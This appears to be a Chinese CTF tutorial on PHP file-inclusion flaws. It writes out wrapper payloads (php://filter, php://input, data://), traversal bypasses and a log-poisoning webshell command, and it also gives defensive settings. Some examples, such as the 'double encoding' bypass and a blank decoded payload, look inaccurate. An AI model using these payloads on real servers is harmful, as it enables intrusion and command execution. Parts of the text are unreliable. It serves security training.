1. CTF文件包含漏洞的本质与攻击面
文件包含漏洞在CTF比赛中属于高频考点,其本质是开发者未对用户可控的文件路径参数进行严格过滤,导致攻击者能够通过构造特殊路径读取或执行任意文件。这种漏洞常出现在PHP语言的include()、require()等函数调用场景中,但Java的JSP包含、Python的import机制等同样存在类似风险。
从底层机制来看,当服务器执行include($file)时,PHP解释器会做三件事:
- 解析$file变量指向的路径
- 将目标文件内容加载到当前脚本上下文
- 以PHP代码形式执行被包含内容
攻击者正是利用这个机制的特性实现越权操作。例如当包含一个图片文件时,如果图片中包含PHP代码片段,服务器仍会尝试执行这些代码。2017年WordPress的CVE-2017-9066漏洞就是典型实例,攻击者通过媒体上传功能植入恶意代码,再通过本地包含执行。
关键区别:与SQL注入不同,文件包含漏洞的利用不依赖特殊字符,而是利用服务器对文件路径的信任机制。这使得传统WAF往往难以有效防御。
2. 伪协议武器库的实战应用
2.1 php://filter的编码艺术
php://filter/read=convert.base64-encode/resource=index.php 这个经典payload由三部分组成:
- php://filter/:声明使用过滤器协议
- read=convert.base64-encode:指定读取时进行base64编码
- resource=index.php:目标文件路径
这种做法的精妙之处在于:
- 绕过文件后缀检测:即使目标配置了仅允许包含.jpg文件,伪协议仍可生效
- 避免代码直接执行:base64编码后返回的是文本而非可执行代码
- 突破内容显示限制:某些配置下直接包含php文件只会输出空白
实战中我曾遇到一个变异场景:题目对包含路径做了str_replace过滤。此时可用双重编码绕过:
php://filter/convert.base64-encode/read=resource=index.php2.2 php://input的POST攻击
当allow_url_include=On时,php://input允许直接读取POST原始数据。在CTF中常用以下攻击链:
- 构造包含php://input的URL
- 用Burp Suite发送POST请求
- POST body中写入PHP代码
典型攻击示例:
GET /vuln.php?file=php://input HTTP/1.1 Host: ctf.example.com <?php system("ls /"); ?>这种手法的优势在于:
- 无需文件上传功能
- 可动态修改攻击代码
- 绕过基于文件名的过滤
2.3 data://的代码注入
data://text/plain, 这种直接执行方式在CTF中往往会被过滤。更隐蔽的做法是:
- 将代码进行base64编码
- 使用data伪协议封装
- 通过include触发执行
例如:
data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOw==这串base64解码后是 。我在某次比赛中发现目标对<?php标签做了过滤,改用短标签成功绕过:
data://text/plain;base64,PD89IHN5c3RlbSgibHMiKTs=3. 实战中的高阶绕过技巧
3.1 路径遍历的魔术操作
当遇到../被过滤时,可以尝试:
- 使用绝对路径:/var/www/html/config.php
- URL编码:%2e%2e%2f
- 超长路径截断:....//....//(Windows特性)
- 空字节截断:config.php%00(PHP<5.3)
某次真实比赛中的绕过案例:
include=phar://./uploads/evil.jpg/../shell.php利用phar协议解析压缩包时的路径解析特性。
3.2 协议嵌套的妙用
不同伪协议可以组合使用创造攻击条件:
- 先用zip://压缩webshell
- 通过phar://执行压缩包内文件
- 配合目录穿越读取敏感文件
示例:
?file=phar://zip://./uploads/test.zip%23shell.jpg/shell.php3.3 日志注入的技巧
当常规方法失效时,可以尝试:
- 向access.log注入PHP代码
- 包含日志文件路径
- 触发代码执行
具体步骤:
curl -A "<?php system($_GET['cmd']);?>" http://target ?file=/var/log/apache2/access.log&cmd=ls4. 防御视角的对抗分析
4.1 安全配置的黄金法则
从防御者角度,必须做到:
- 关闭危险配置:
allow_url_include = Off allow_url_fopen = Off - 使用白名单校验:
$allowed = ['header.php', 'footer.php']; if(!in_array($file, $allowed)) die(); - 设置open_basedir限制:
open_basedir = /var/www/html/
4.2 代码层面的防护
推荐使用:
- 硬编码包含路径:
include(__DIR__.'/templates/'.$file); - 后缀强制校验:
if(pathinfo($file, PATHINFO_EXTENSION) !== 'tpl') die(); - 实时检测包含内容:
$content = file_get_contents($file); if(preg_match('/<\?php/i', $content)) die();
5. CTF实战解题框架
5.1 标准解题流程
- 识别包含点:查找include/require参数
- 测试过滤规则:尝试../、伪协议等
- 确定协议类型:根据报错判断可用协议
- 构造payload:结合题目限制
- 获取flag:读取源码或执行命令
5.2 常见flag位置
- /flag
- /var/www/flag.php
- 数据库配置文件
- PHPINFO输出
- 环境变量
5.3 工具链推荐
- Burp Suite:用于拦截修改请求
- CyberChef:快速编解码payload
- PHP在线沙箱:测试代码执行效果
- 自定义字典:包含路径爆破
在最近一次比赛中,我通过分析网站图标特征,发现使用的是某开源CMS,进而推断出配置文件路径为/include/config.inc.php,最终用php://filter读取到数据库凭证。这种信息关联的思维方式往往比技术本身更重要。